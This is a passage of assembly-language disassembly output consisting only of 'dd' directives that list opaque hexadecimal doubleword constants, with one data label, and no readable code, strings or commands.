		dd 0D75C02CEh, 0A0ECD55Dh, 4FD0849Ch, 99D80E31h, 0F489FB07h
		dd 7B91E89Fh, 0FDF52C80h, 64B0DD4Ch, 0C0ACE94Ch, 71EEBA5Eh
		dd 96EA008Ch, 4CC30CB7h, 3F04F416h, 6A9AD477h, 0D7C0F8B2h
		dd 1F2641DAh, 2C6ABCA1h, 0EFAB841Ch, 0A4A9DA1Ah, 0FCB028E2h
		dd 0E016A38Bh, 188B6580h, 0A3833203h, 878AB5A8h, 8800FC59h
		dd 8243E7D3h, 2DAA0057h, 0AD2B6D0Bh, 160012F2h,	496BA91Fh
		dd 0B731822h, 3AB95DE1h, 7AAAB880h, 4D148D3Ch, 4CB86C62h
		dd 0E5861928h, 0EC419059h, 8A01849Eh, 1C89F09Dh, 8B02309Ah
		dd 879A5899h, 291A0EC4h, 71769082h, 0BB44A0E4h,	78833A8Bh
		dd 89D6EA00h, 2AB5BF43h, 2B4C1098h, 0FE131120h,	5821D44Ch
		dd 0E3802991h, 0CEE992B6h, 217C448Ch, 70B6DB00h, 2A3C12F7h
		dd 11EE03F9h, 1BA986DAh, 0F4426808h, 8CD5935Fh,	5304A3C0h
		dd 4ABF7303h, 7B1F7900h, 0A00D3B6Ch, 0F8F4B189h, 8C831030h
		dd 381218E2h, 0F0CB0493h, 1821C800h, 0E065DD0Ah, 0A99C3000h
		dd 699FE8F6h, 197F8053h, 0B18FE90Dh, 0D830105Bh, 0F30C2070h
		dd 0B8C5F770h, 9040FCE7h, 0DD325204h, 0DA19097Eh, 3849F356h
		dd 0DE00F63Eh, 805EB2F4h, 9028A781h, 7622F43Ah,	190E0A65h
		dd 78208828h, 1F8C5399h, 9E24AB7h, 0A869FDD3h, 82F1888h
		dd 2C933B18h, 0CD4024C4h, 8AF41826h, 0CBDCC30Fh, 0EA5C43B8h
		dd 8B210708h, 0A4F74D9Eh, 0C0A8C436h, 2274E754h, 5C2C202Eh
		dd 0DC02582Ch, 0C27F3088h, 762C4170h, 930C3429h, 0ECE17E4Dh
		dd 0E267FFE2h, 0FDAF0DA8h, 0A1D61871h, 8861A470h, 0B712E98Ah
		dd 20C54CADh, 0AD375808h, 2291D897h, 0FEB31180h, 8B00F49Eh
		dd 99F685A1h, 0BCCF5CC4h, 96682820h, 0D4B840D8h, 7001087Eh
		dd 64BBB5BDh, 5F02CC5h,	0D1971A53h, 0DC819951h,	9704587Ch
		dd 0C88C40h, 1DC62DD9h,	0F1B53404h, 728460E0h, 7B880FFFh
		dd 0D0AF54C0h, 3E3D03D8h, 5D02C646h, 5C7E2100h,	0DBE40EDDh
		dd 0C95F6FA0h, 0CBBEEB40h, 6D1C6933h, 0E4811525h, 0F4AAE027h
		dd 0F4E22094h, 0DE4D9581h, 61DC527Ah, 0AE6954E3h, 0C7048210h
		dd 3DECDAFCh, 8A8994A6h, 98A4675Ah, 0A38E602Dh,	7D8023DFh
		dd 3500F111h, 0DC96A386h, 51720842h, 0D5423499h, 72322129h
		dd 6B3981F2h, 365DF99Bh, 269F4870h, 96543C85h, 66940892h
		dd 4AB21280h, 0A427A122h, 49E24A84h, 64C8730Ch,	0C2B0DC31h
		dd 2BA11600h, 0B9C9E351h, 49820189h, 7CECE418h,	76682032h
		dd 0C88F4740h, 91822068h, 0C813E4E0h, 257EDAF4h, 0C880ACC6h
		dd 6A6D9332h, 34487C4Eh, 648DA537h, 69D43C51h, 4484C718h
		dd 0C1F16023h, 0DEAD2447h, 749B25C9h, 678AB810h, 4ADD9209h
		dd 4645E084h, 7E291389h, 0C9A700C3h, 91E5B009h,	289818B7h
		dd 22D1E72Dh, 1633624h,	57EA897Ah, 0A4FA40F4h, 86008B8Fh
		dd 0DA7E2E3Dh, 5587E97Ah, 0A43390D1h, 0FD30E2A2h, 66D214A1h
		dd 0FB0B1C8Bh, 24C2B3ACh, 48A7DC68h, 609C48B8h,	0EEA3B0B1h
		dd 25B88701h, 8BE18086h, 3C7D4C9Bh, 5B427CFDh, 0E21418FFh
		dd 434EF55Ah, 0B82C9013h, 7040D416h, 0E8CEDECh,	0AA842AE1h
		dd 80A6B607h, 0A9E02D04h, 0C72040B8h, 4E18908Dh, 37C430D9h
		dd 0E22F2B4Dh, 1DC09615h, 0C44D2F94h, 0A0C7E4E2h, 0B6028B24h
		dd 355FA7BBh, 71B8C402h, 0EE6D2433h, 60929234h,	18C67F5Ch
		dd 6905C094h, 0E8B009B7h, 8FD90228h, 4CA68B30h,	0BF10687Ah
		dd 287C4D19h, 100C44C6h, 2752158Fh, 0F2008475h,	0D85E0E52h
		dd 894609Ah, 0ECC4A485h, 7AC05A60h, 311E6490h, 8E438CAh
		dd 4EEAA600h, 0F0A3AEA1h, 0A021E1F1h, 226F1430h, 10C454F5h
		dd 2015DD6Bh, 0F27CA292h, 0EAFB3046h, 0D56197EAh, 0D8A6E1D1h
		dd 0B0E852D3h, 79FC5F22h, 0CE467E01h, 58A68AE7h, 78A69C44h
		dd 0D66FBFF0h, 0BC6D9700h, 7340337Ch, 18C8A082h, 6780C215h
		dd 0A4C4C1B9h, 304E3645h, 89CF5288h, 76C1039Bh,	96C4813Dh
		dd 0F0625468h, 0E90E2D98h, 1DB0298Ah, 8116115Ch, 581E7E57h
		dd 3EB8083Dh, 0B0E0D42Ch, 8F48D15h, 2CEC97E4h, 468E0898h
		dd 84D9811Ah, 0DF209250h, 1C415CC6h, 99BE89F1h,	0D0277C48h
		dd 7511B89Fh, 0FD079F80h, 0F7002B82h, 9736E157h, 9A426593h
		dd 5038B0A0h, 6B90DC80h, 0A4978028h, 0EB856D91h, 0EACC1B4h
		dd 0ED420043h, 2BF54133h, 5636A821h, 41DAFB01h,	30A1D030h
		dd 75FECF0h, 7E7D2042h,	977A0074h, 197EB87h, 76AE773Ch
		dd 6403FC7Ch, 5E4D7411h, 0DCDE4817h, 28FA30Bh, 0E0594704h
		dd 8050F1D8h, 0B104EC19h, 40C66D3Bh, 607C74F4h,	8794309Bh
		dd 7307A8DAh, 814D960Bh, 6B0163h, 0B7AF78A1h, 22799B5Dh
		dd 332934Ch, 0C3CD5A94h, 0E4B01FF8h, 0EB028028h, 2B70AE7Eh
		dd 0E37C0797h, 8F631980h, 6A274AD9h, 0F96223D8h, 4D60B62h
		dd 6768600h, 0F96702h, 0ABD081CAh, 8A90F3C8h, 845FB23Ah
		dd 0AFB6A3E4h, 207D64F0h, 81285152h, 592CEC57h,	3208F42Fh
		dd 840A563h, 2342B8C6h,	7CDE8109h, 0DE2987Ah, 0A0C5444Ah
		dd 92A5882h, 85816007h,	670C9120h, 7C98228Ah, 24F0A613h
		dd 20C5E822h, 1160EC20h, 0A3D9F80Bh, 228C6E21h,	1229774h
		dd 0D0F66Ah, 75B4DDAEh,	7CE23F3Ch, 0E08C522Eh, 79D871C9h
		dd 11518F0h, 0E4DEFD50h, 252CAE80h, 4E4F6B0h, 8120BC98h
		dd 2004B08Eh, 0DA0AF3DBh, 8438A680h, 70B7978Ah,	0C9844E01h
		dd 0D470E1E9h, 7EE8882Fh, 68917F98h, 0DF58073Fh, 2290895Dh
		dd 0D6D0E9h, 0F8F79C76h, 6ACA5B06h, 0D8D1F424h,	2CD45E15h
		dd 18C08C8Fh, 151D75Ch
		dd 0C97D8C4Eh, 449F7A17h, 6850ACB4h, 0CE04C469h, 0E305319Ch
		dd 812016BFh, 0F63568h,	0A00A4B11h, 84E4E3A8h, 8C2E2F46h
		dd 6D800A50h, 41E5C4A8h, 4EA38433h, 63EA9330h, 0D4C18107h
		dd 9FDEE4D8h, 0F50048B9h, 540D81B2h, 0F68A002Fh, 0C6F05CF7h
		dd 7E01A47Ch, 0F567461Bh, 403A0277h, 6E7076F8h,	2C1F9ED6h
		dd 114B8931h, 50127Ch, 0F794D84h, 7D50936h, 24D20140h
		dd 7844434Fh, 64821EA1h, 461846C9h, 0AA8F3134h,	2C2A8580h
		dd 870036D4h, 0D51991A3h, 12A9E65Fh, 20886701h,	58C6FF78h
		dd 8420E41h, 3C042BD1h,	4B3CA3ABh, 7D359430h, 12B8BA92h
		dd 30B9781h, 0A99FE9D0h, 0A1E406FDh, 0B71CE949h, 85007984h
		dd 0B287D204h, 93270240h, 428D1083h, 0FC428859h, 0C3010E09h
		dd 8088ABA3h, 873F6211h, 12343048h, 72E4CEE0h, 903033A4h
		dd 4680FCA3h, 9E4228Dh,	0C3A38837h, 15202082h, 4ED78903h
		dd 88708E40h, 4F3CF16h,	2423A88h, 50AFCCE2h, 0B0C8ACB8h
		dd 2DC4654h, 0E22E4D3Ch, 97001C2Dh, 0E9964D34h,	0B4C5DF2h
		dd 59B760B4h, 73285C40h, 0EB5CE10Ah, 0AA6094BAh, 3F2064B6h
		dd 96A442CEh, 0F49DADF4h, 0AC80EF91h, 1CFC4E93h, 0B058CD00h
		dd 0EB73E8B7h, 6094945Bh, 34E98749h, 94D68180h,	0C14C2404h
		dd 20EC9BFAh, 4EC124DFh, 0D580BE7Bh, 1C45828h, 0C9A0906Ch
		dd 70008308h, 4EED9AA4h, 26C7772Ah, 9260CCAEh, 42500D39h
		dd 309C5939h, 39FB6E14h, 0FF03143Ch, 4205FC4h, 18729Bh
		dd 0FB9A800Bh, 25E08BBBh, 0C5DDD400h, 0EC81F788h, 0CC979D96h
		dd 940D46BDh, 2F906345h, 52A84059h, 17E08464h, 42F0E3E4h
		dd 5E867548h, 0F720203h, 0B62E6FF9h, 2B39B2E0h,	690008ECh
		dd 0DC505CDEh, 3088ED20h, 0E870F5B3h, 0A40EB44Ah, 7324458Fh
		dd 3388F85Fh, 93B80BE7h, 57A84882h, 0F284885Eh,	0F4B65A96h
		dd 0D5A8BCE3h, 3C04687Ch, 67AB9504h, 0C4F26884h, 1F3022F2h
		dd 0D4C812B3h, 504CF3B7h, 229D3B9Ch, 5E4E6504h,	678902F8h
		dd 7AE08AB9h, 260051F7h, 0AF87955Ch, 4FAE0483h,	0A09CCC47h
		dd 82516060h, 50025Ah, 0C1C7C488h, 812C15E1h, 3B78AE12h
		dd 0E0A82420h, 96E373ECh, 0D54082A8h, 44B2F65Bh, 3500E0C6h
		dd 0D0F3382Eh, 14691DEh, 9286C5A2h, 2A854AEBh, 0B123483Eh
		dd 0C10BB1F9h, 25DCAE7Eh, 0A8CC3D09h, 803301AEh, 0B835898Eh
		dd 0E8C080D3h, 0DA3E5F4Dh, 0DC730022h, 0EC8C66D5h, 114B7F70h
		dd 6FC8408Bh, 0EB4BB2C0h, 0C88862B0h, 54F0295Dh, 0DE9581Dh
		dd 93329801h, 20A78937h, 102420E2h, 5A50C22Fh, 30A864C1h
		dd 6E5A7ACCh, 0AC68608Dh, 8C1FACh, 0E885F0A4h, 4761B397h
		dd 7CE5CC04h, 1CB07AD6h, 1208B189h, 3C7000E9h, 0E00BAEAAh
		dd 0CA1D52C0h, 0E628CE9Bh, 6D14094Eh, 8CF8DA18h, 7FC68909h
		dd 7BDCD902h, 88E560D4h, 4D97339h, 0C4D67DA7h, 0BD60A43Ah
		dd 8890465Ah, 84F0DFD4h, 8B028370h, 0E4301399h,	67084A48h
		dd 80314F10h, 0BC2494F9h, 1980E173h, 0D2C9FE1Dh, 481F4FE1h
		dd 7A14206Ch, 0ED580FF0h, 0DD88D89Fh, 24CE3F80h, 0C1D844CAh
		dd 0E378023Ch, 0E6BC409Ch, 0A6DF807Bh, 0D72C14B0h, 0DD44A496h
		dd 2F4D3B60h, 6535E22Dh, 339880E8h, 5412D44Dh, 1ADD9000h
		dd 218AC6Fh, 3C9269h, 0E606031Bh, 0D6249BBBh, 0A020B05Bh
		dd 0A1D26Dh, 0EAE4E221h, 0F0EBDF46h, 2DB9BA01h,	0CDBD2F24h
		dd 9CF46CC2h, 51465E48h, 82862300h, 0DCE2A3F9h,	38C01B5Ah
		dd 0C55D7511h, 0E3E55C29h, 420E1064h, 0AF19F448h, 0C0EA30C8h
		dd 74F50CEh, 59BF78C0h,	4828A56h, 9501E7BBh, 0A0C35138h
		dd 26DD148Fh, 0A258FAD7h, 47722030h, 0A3D5381Fh, 43209C2Dh
		dd 0ACC05C1Dh, 0CE88CEEh, 8C5FEF05h, 44A88FF2h,	3F29F406h
		dd 0FB06297Ch, 0F80BEAD8h, 0C417E171h, 0EC2CC8E0h, 2CA15415h
		dd 7C2F4F94h, 5C004E23h, 0B03357F2h, 2CA3EAE3h,	63C435Ah
		dd 69F02E91h, 357D8DF0h, 5FE181C4h, 0B9B74941h,	0C807D3Ah
		dd 302E77F6h, 0EC8A05C1h, 0F184EAB1h, 0EBD411F0h, 4402AA0h
		dd 41EC2490h, 4FAC710Bh, 0A1243722h, 2E619A75h,	4C3AA056h
		dd 0A8032423h, 0B023FD53h, 2D2A360Ah, 50C073CDh, 0E4982DDCh
		dd 56641179h, 0C818891h, 5C608FA7h, 665744E9h, 0C72694Fh
		dd 7C820923h, 90CB1350h, 0B2FE822h, 0CBC16D8Fh,	0E5B2D4A3h
		dd 2050F7ECh, 204F5344h, 60BEC484h, 2587E8F1h, 60685FB9h
		dd 297197EBh, 9096F188h, 419A459Ch, 19E6CB70h, 1EF2F472h
		dd 2E3F9230h, 0FA44EE1h, 7384D66Ah, 427E4E4Ah, 49E58FEBh
		dd 506DA1B8h, 2E2E612h,	25DD5CEDh, 22403476h, 4BA13A4Fh
		dd 2E082ACh, 0D20F207Ah, 2038AF0Dh, 0FFFAEBECh,	0F7624CC0h
		dd 9289271Eh, 3ED00496h, 9C911360h, 8F056B4Ah, 0FEADC840h
		dd 0DEA0AD43h, 34802024h, 0FE6D3913h, 828FB064h, 7464A120h
		dd 0F62DCF00h, 66F01D3Ch, 0EBF11830h, 73A6E807h, 28C157FEh
		dd 2B18C6C9h, 0EB877184h, 0A68101EEh, 84621FF8h, 8010E32Eh
		dd 50AC8651h, 35B0209h,	5BF9090h, 0DC828258h, 8CDA853Eh
		dd 0E1022346h, 0FEE98CB6h, 1F589C7Ch, 5FB600D9h, 0B211EC98h
		dd 384C237Bh, 0FFAF10B8h, 5645930Bh, 19085459h,	0E865258Bh
		dd 0D66016E4h, 862C7D93h, 4E823849h, 0FC6E758Fh, 97890518h
		dd 1E7C12B7h, 0F9923CCCh, 5E902047h, 61EA7411h,	65766082h
		dd 18186282h, 7929ED75h, 1FD880F0h, 6CB2DA87h, 0F3F4028Fh
		dd 0A87C6281h, 1DE60C06h, 105A4880h, 8598EB2Eh,	0D3D587A0h
		dd 0FBE83350h, 0FD05F0AEh, 42D1B796h, 0B5E4C823h, 8B0380EDh
		dd 0B27AEB09h, 0F4D03CE2h, 18F22702h, 0DE484733h, 4885DADCh
		dd 27884072h, 8AD84A7Fh, 5EADDF8h, 1485952h, 0E6FA8139h
		dd 0A4411072h, 484A2955h, 2CC2D064h, 10BEFA3Ch,	43D95469h
		dd 0CE7F8220h, 1FE527EBh, 7B788292h, 0B06254A4h, 9449F450h
		dd 0F7490918h, 236C905Ah, 3C88B40Eh, 0F4D6B302h, 0A85AF306h
		dd 68EC72F9h, 33443808h, 0E4093C84h, 5D54C488h,	0FC46B0B8h
		dd 0C41FC701h, 166A78Eh, 0D0FC9A3h, 0B0647FF7h,	0C5ED2859h
		dd 5637604Ch, 0EB0A505Dh, 637C7E9Fh, 917CD345h,	0A9D1ADFAh
		dd 0EE77840Ch, 10886CA5h, 1106F11Fh, 12695778h,	2FF3FFA6h
		dd 128C7AB4h, 54356D1h,	2DDA7D8h, 1450CD7Ch, 0DAAE4860h
		dd 1C28C873h, 0FE16BC2Fh, 0B0B4C580h, 27E93A75h, 0E4FC905Ch
		dd 0BCD94C8Ch, 500B4811h, 61C230DCh, 2008E35Ch,	6CAE450Bh
		dd 0BB0800B1h, 0FB093EC6h, 789843D6h, 78803919h, 0DC22DAEh
		dd 5C75CC48h, 39DC0284h, 0B3E02C3h, 6E8E74D4h, 0C7350008h
		dd 377E210h, 11A228B9h,	3906537Ch, 0EA07E558h, 0FACA0078h
		dd 14155F2Ch, 81C05CDCh, 55B48D62h, 65931296h, 0DADCE0EEh
		dd 0B3E2B000h, 8F8D493Ch, 866610ECh, 790A00E9h,	53F2DFFFh
		dd 5B89285Ch, 0FE7D1078h, 4021B5Fh, 9CC18061h, 0CEEB017Fh
		dd 8B9F5DD3h, 0D849BA54h, 7781069Ch, 231D9DAh, 18B83D5Eh
		dd 2D03DEEBh, 805DE472h, 0C9C084DAh, 9509605Fh,	5261B177h
		dd 0C5F2320Ch, 8E189318h, 0B74A0053h, 0E158EB73h, 315A6CA6h
		dd 268C98h, 0B8BA02F4h,	0DD332404h, 0DA6F5A00h,	3A397EA7h
		dd 28149886h, 1ACC3BCDh, 502835D1h, 4CEC3983h, 547A685Ah
		dd 65135702h, 500A6EBAh, 0A8E951E4h, 965DB11Eh,	0E6C90025h
		dd 0C564E478h, 0DD051500h, 0D0994E88h, 0DAF80036h, 252B728Bh
		dd 79016F62h, 3CE209F0h
		dd 47E0D83h, 6019D048h,	0DEF590FEh, 9DD80071h, 0E8DEC906h
		dd 14941C54h, 566E88h, 8429A911h, 0C001279Ah, 931F58B8h
		dd 74EECA4Dh, 55CD21D6h, 422DC808h, 2117C0FBh, 0B448C220h
		dd 271F7E30h, 0C4582EBh, 5C60EDE4h, 0B1005E26h,	9FD28ED0h
		dd 0BAC99BFh, 6B439CE1h, 5B2F94A5h, 2AA091A8h, 0C5324248h
		dd 9F591126h, 0FC78004h, 3F9FD78h, 0F0078200h, 0E808A2D7h
		dd 567141Ah, 0F7000CEBh, 18E70689h, 2D30FD68h, 13EF08D8h
		dd 0F20E1D39h, 0F1003814h, 0F9077D1Bh, 0FF017B20h, 0FE7C1729h
		dd 288606E6h, 6182D7F1h, 0FC079907h, 0FD817A14h, 0EFE178D9h
		dd 0B02E39D0h, 0B7B13F0h, 0D35002Ah, 6C5EFE30h,	39D80F0Fh
		dd 1049442h, 0E71469E0h, 0CDF06806h, 26870623h,	0D1393735h
		dd 0F30A6519h, 19D00F80h, 18A0DB75h, 0A00A2AA3h, 8D80312h
		dd 0FA097D03h, 0FC01E015h, 38425113h, 308880B0h, 680805E7h
		dd 19F109h, 1336D83Fh, 9800FD14h, 8016E70Ah, 6D7D029h
		dd 0D52A5539h, 37004075h, 1EECFD81h, 0D62D9Ch, 27422ED7h
		dd 0DA655F14h, 37C0506h, 75E139D3h, 0E63D00CDh,	0FC325EFDh
		dd 2715781Ah, 173C23D7h, 0A31F13FEh, 0A203F383h, 3CB04328h
		dd 9713504h, 2E36C3F6h,	3A3C2042h, 0A3CCD1D6h, 0E0A43C18h
		dd 93E24D0Fh, 612100C9h, 5C300AF1h, 0C4A75A9Eh,	2A94C1BCh
		dd 2C1F6EBDh, 0E29724ECh, 1904340Dh, 4111A420h,	0DC026AC7h
		dd 9FE3D78h, 48B2DC54h,	0C8C01296h, 0B892B6B3h,	6B4C617h
		dd 28FBF820h, 2025B76Ch, 1D2C0B1Fh, 2EA034ACh, 2124B084h
		dd 5F16BD14h, 5C1F88E2h, 0E114A153h, 20585A2Ch,	0EF55A660h
		dd 0EB58A03h, 0AC32977Ch, 0D066CD10h, 2C05880Dh, 60997C89h
		dd 7028D1B6h, 59D049B0h, 5E0E0894h, 0E447109h, 0A8BCC011h
		dd 0D211872Bh, 1087D5ACh, 0A68BA8C4h, 38C1200Ch, 74B7A126h
		dd 0DB08F4A4h, 0D5FB84E9h, 815CD4ECh, 112749F8h, 207ADD5Ch
		dd 7B666540h, 4EA3DA80h, 73B8C182h, 7D7C34FBh, 9843C65Bh
		dd 5C3DCEBh, 5B6CA28h, 4A50C15Bh, 2A346347h, 2C4540DBh
		dd 3C28822Ah, 26187700h, 0C8859D95h, 15AC5E23h,	0A200246Dh
		dd 0E9587EDAh, 98A8ED87h, 704BCE7Fh, 244D7890h,	0B08597E0h
		dd 14B05E42h, 8D0140F4h, 0DEB91B7h, 46042381h, 11362144h
		dd 85DC522Bh, 8441FD87h, 2030AE77h, 81883028h, 3B6A48A8h
		dd 361B0441h, 2B182191h, 33C83E90h, 23324E64h, 48111C2Ah
		dd 48303F89h, 545ED41Bh, 327C388Bh, 2640227Fh, 4835E930h
		dd 0E0973C5Fh, 61897400h, 0E0C5E07Ch, 80F0FCA0h, 0DB278887h
		dd 0DFA60099h, 23811BC3h, 0DE008C32h, 1C177B15h, 74762E2h
		dd 7984EB90h, 0B64E18h,	0EF74DAE8h, 0C4004FB4h,	0D8D0213Fh
		dd 4A01778h, 66C240D1h,	0A1E4A493h, 2D80AC94h, 10511435h
		dd 0F90E00B1h, 0DB01265Bh, 911C3D32h, 8039288Bh, 0E060ECB3h
		dd 0F6D5E577h, 17D9E8B2h, 90011C89h, 0F75C2C58h, 3475AE00h
		dd 732F2822h, 7D8088FFh, 8BB8BD00h, 0E2C62933h,	0E1B700BCh
		dd 10FAFB78h, 8A4A887Bh, 1C2C8B4h, 8FF42664h, 2FDD4536h
		dd 31515470h, 449F00DAh, 1164C1E8h, 2F76F043h, 9BF98800h
		dd 2587B1Eh, 0AA78A873h, 0B06F0134h, 5637BE2Fh,	691EC454h
		dd 0A488B300h, 3499F1B2h, 4BD85FFBh, 0C0F28AFCh, 8235A1Dh
		dd 9239E100h, 0D40C1Ch,	0F05FB317h, 18E04C59h, 5D000E90h
		dd 0C16E3761h, 0F764F845h, 0B3A7D040h, 6089F2D6h, 0BCAC510Fh
		dd 5400014Eh, 9BBF168Fh, 17F5EAEBh, 82FF76D3h, 0EF134BB0h
		dd 0C3738C48h, 0C70156D1h, 220FD15Dh, 0A6E1AD5Fh, 19889F8h
		dd 0FB2ED482h, 2972C451h, 9AC0006Ch, 5C92A3BBh,	510C60E3h
		dd 89912ADCh, 440B134Bh, 0C0F78F65h, 87A7B7B5h,	0CBD800DAh
		dd 4B244F3Dh, 0F50382BEh, 0DD4AB91Fh, 34EFA078h, 3A4E006Ch
		dd 9B4D0159h, 7466F941h, 216308h, 713A45B7h, 55A49EF1h
		dd 38FE1600h, 7A5B36A9h, 0BB6A39F6h, 288C3E80h,	574DBFF8h
		dd 763C0400h, 0BC2A6BB9h, 5178C045h, 8C34FB8Ah,	62E7CFEh
		dd 0A50055DCh, 3B19E0EDh, 0CABA0076h, 3435A458h, 823A7D5Fh
		dd 920882FDh, 9C4470BFh, 16112320h, 5B02E700h, 74D7528Ch
		dd 14C8C040h, 0BA4EF5ABh, 0FB951003h, 0A394B8B1h, 7B21002Eh
		dd 0F8FFF5A3h, 78308987h, 4E5E1941h, 0A92C0F42h, 6D021E4Ch
		dd 8C81B594h, 0C054998Ch, 630603AEh, 0BB3C7821h, 21946F08h
		dd 3F004C2Eh, 3BE704CBh, 0E2984350h, 7B8A1884h,	99B46926h
		dd 0D2D8780Ch, 0EF6107Ah, 48E4629Ah, 0CC5DDA00h, 23F8B834h
		dd 0F0C9F519h, 40605760h, 59B903E0h, 0FAA0A535h, 8F001878h
		dd 784F3756h, 31B4D849h, 8B088170h, 0BC208035h,	8409376Eh
		dd 72F30496h, 9B223EF9h, 0B318810Ch, 30246875h,	70BA19BFh
		dd 18A99095h, 5337086Ah, 0B0706978h, 98370062h,	4740B54Fh
		dd 181852ECh, 0EF21ACBAh, 0AC4CE85Ah, 0F5B102E8h, 94C0BA48h
		dd 71101519h, 8900F5A9h, 9BB4CAC2h, 5F3719h, 0D6F91ADBh
		dd 9596679Ch, 3125D830h, 3DF5F01Fh, 0DF00EC24h,	12A815ADh
		dd 12A61BAh, 0B902E898h, 0C79EB25Dh, 3C8440A7h,	0E8F870D2h
		dd 8EC20E3Eh, 0FF2552A6h, 502C20F4h, 27CFB11h, 973EEB00h
		dd 0E6CD2777h, 0D99E647Ah, 0F5A46049h, 0B8BA2147h, 0F5BC74C0h
		dd 0FCFE004Ah, 8BD4FDC0h, 380D8534h, 0A9F63B7Ch, 0A879A3FCh
		dd 52290D4h, 27CC582h, 8A6400FBh, 0A45BF1FEh, 8E29756Fh
		dd 316B8923h, 0ACC04E70h, 22734603h, 46423892h,	0CFC83D00h
		dd 0F3AF4335h, 0B838C000h, 894C28E8h, 0A44A487Bh, 526C8EC0h
		dd 8409D045h, 32A3AF6h,	85A184h, 0BEAA1D51h, 0D90DAB6h
		dd 0C5F84C00h, 6206AD45h, 0DC7A024Ah, 0BB51D00Ah, 5CC858AAh
		dd 0E5008546h, 943538FDh, 2D3CE43Ch, 215201A3h,	8D79FE7Ch
		dd 0E4462311h, 410C36F0h, 19857A03h, 0C0F77BBFh, 104EBB51h
		dd 0C90F54Ch, 83303E00h, 794925B5h, 0A01A64DDh,	80476364h
		dd 8CBB03B1h, 70798D44h, 7E5000BFh, 110118C6h, 0C4018BB5h
		dd 0C2CF2956h, 0E050FFA3h, 73EFADh, 0B2B17647h,	7C906A9Dh
		dd 9F120804h, 0F4C9C07Fh, 3A5430D6h, 3D016B11h,	80B96D88h
		dd 9FFD3A4Bh, 339387h, 3FFE7016h, 0C1370314h, 0F18B4D13h
		dd 6CB9B400h, 0EEFF73Ah, 0B773265Ch, 497150A0h,	4C13A84Ah
		dd 0A04105F4h, 9561BE78h, 0FFDF440h, 818701FEh,	0B0F0EEB7h
		dd 16883050h, 1F258044h, 0A9A76586h, 9D1FC220h,	99102C30h
		dd 1872D15Ch, 0B811074Eh, 364DE9AAh, 8910B8E8h,	0EF00337Eh
		dd 30FD8AA7h, 39DF71C9h, 0A4700429h, 4F49C002h,	9B94B0A8h
		dd 579DD22h, 0F4E43BADh, 517081D0h, 0D9EC303Ah,	0EEB99301h
		dd 315C1934h, 0ED483CEFh, 84F25244h, 7E8328C8h,	3507953h
		dd 0DB3A5BACh, 217091h,	8278E6E8h, 79DF70B7h, 0A218A963h
		dd 0A139137Dh, 70C44188h, 868979FFh, 0F2E7CF18h, 0BEFE1839h
		dd 997C51A1h, 0DA24C700h, 19523ED0h, 5FBF38F6h,	409BC100h
		dd 0C0FEF982h, 10B0ACA4h, 8180324Ch, 9E8BF5A7h,	3372070h
		dd 892F3B87h, 202CCF7Ch, 501DF0EEh, 0F5D83D07h,	0F19E426h
		dd 9B288B61h, 4407049Dh, 0BF4C8023h, 0F0F57924h, 3509B137h
		dd 20A7162Fh, 785780F8h, 0C090986Dh, 5D4E7A08h,	981334A9h
		dd 605D3AFAh, 0F7994C2Bh, 0FBF0A4B8h, 44E0A420h, 4861A850h
		dd 0DA3C3F48h, 10CEF090h, 4F15B8C4h, 177BACB6h,	0DB227Bh
		dd 8364BE64h, 0F53024D2h
dword_50112C	dd 0C18C48A6h, 707A2E7Ch, 9844A084h, 75F77408h,	0C089AE4h
		dd 7C320704h, 70F16421h, 0B0A87FFDh, 0B8243733h, 3198D419h
		dd 7B584748h, 309B708Bh, 5C7115A2h, 4CBA776Fh, 0FF70244h
		dd 4FA9F15Ah, 3320BBE2h, 6AA0D866h, 0F67A77FDh,	0BD1D2AE0h
		dd 9C282919h, 1F7A3244h, 95FEC482h, 80199095h, 102D10CBh
		dd 0C1F61Ah, 825128A8h,	2F66744Bh, 0C17ADB30h, 12AE3C62h
		dd 21387B35h, 506B4E74h, 46A96FBCh, 0C8F5AA03h,	121D8CDh
		dd 0D0C78879h, 0F8FAF140h, 0B6305833h, 0C528B071h, 9041E6B8h
		dd 0A8DD442Ch, 485A370Eh, 325C8058h, 0E6E4393h,	0A479856Dh
		dd 23804012h, 3A5E3710h, 0DE40E30Eh, 0CD7C8F02h, 3BC499F0h
		dd 0DC58C84Ch, 78882894h, 5211D460h, 12832237h,	8B861EDh
		dd 0D4A0E10Ch, 0A8791324h, 60AC2820h, 0F60FC72h, 0E4BE8421h
		dd 28DCB86Dh, 0A0CEFFDh, 95A10D78h, 7C12B8D0h, 0A7948086h
		dd 0FC0B70CCh, 5442872Bh, 0B210092Ah, 0C414E888h, 0F0BCC26Ch
		dd 2C373082h, 0B184E413h, 2701DCD2h, 19F1E04Bh,	0FFFE60FEh
		dd 8D033200h, 9ABCBE4Ah, 298160A1h, 7604FDB9h, 0E937CC24h
		dd 0B2FEB102h, 4C044489h, 28426853h, 1CFD69F0h,	40A34787h
		dd 0FD2F104Ah, 34259C1h, 342568DAh, 18A470E8h, 6182F824h
		dd 0E0107B5h, 0F2C76B67h, 1C238438h, 4D80DE21h,	0FAB25748h
		dd 983451F7h, 9808F361h, 906A4119h, 0BDC4BF18h,	186722B4h
		dd 9F809929h, 4330B184h, 1103B8D8h, 0F089AA54h,	49AED068h
		dd 983A0EC0h, 66CABE82h, 0BB36082Ch, 6F06E3Eh, 0F44024EFh
		dd 0FE16073Bh, 30239B8h, 284C73C8h, 83457EC8h, 88240420h
		dd 0F0C32254h, 48E21AEh, 3BA41920h, 0BA5D0035h,	2630AD0Ah
		dd 0AC69E4h, 444B7A43h,	309B23Eh, 80CBEE7Ch, 0D345A764h
		dd 763C90B5h, 162201FCh, 0FF336104h, 14444E7h, 0F5A85028h
		dd 0F63181C7h, 9B99AE84h, 801808Eh, 6C870409h, 92E1C378h
		dd 378B1804h, 3D012B98h, 87D5BFh, 1C720A7h, 0EEB04979h
		dd 4863D18Eh, 0D6F8494h, 2E18030h, 0D4185838h, 3B22B410h
		dd 0A030017Ch, 31E21829h, 0FCC12CA1h, 3F3288F8h, 0CCC05706h
		dd 3ED900E8h, 2134F470h, 0C0C7B018h, 8D363AA4h,	0BA0A2228h
		dd 0A9115242h, 81E21B1h, 5691B804h, 5E7F4F00h, 6CB53520h
		dd 0B63F1A01h, 983C0769h, 72830987h, 0DA94F004h, 0E5FAE415h
		dd 44EC1B00h, 525A01EDh, 530E00E7h, 0EE46D74Dh,	3F004719h
		dd 36D0FC9Ch, 156C21Fh,	70D8629h, 0FCA7805Dh, 7D001344h
		dd 21C833EDh, 0FF8CF03h, 0D9F06897h, 95AC892Eh,	0EB600E19h
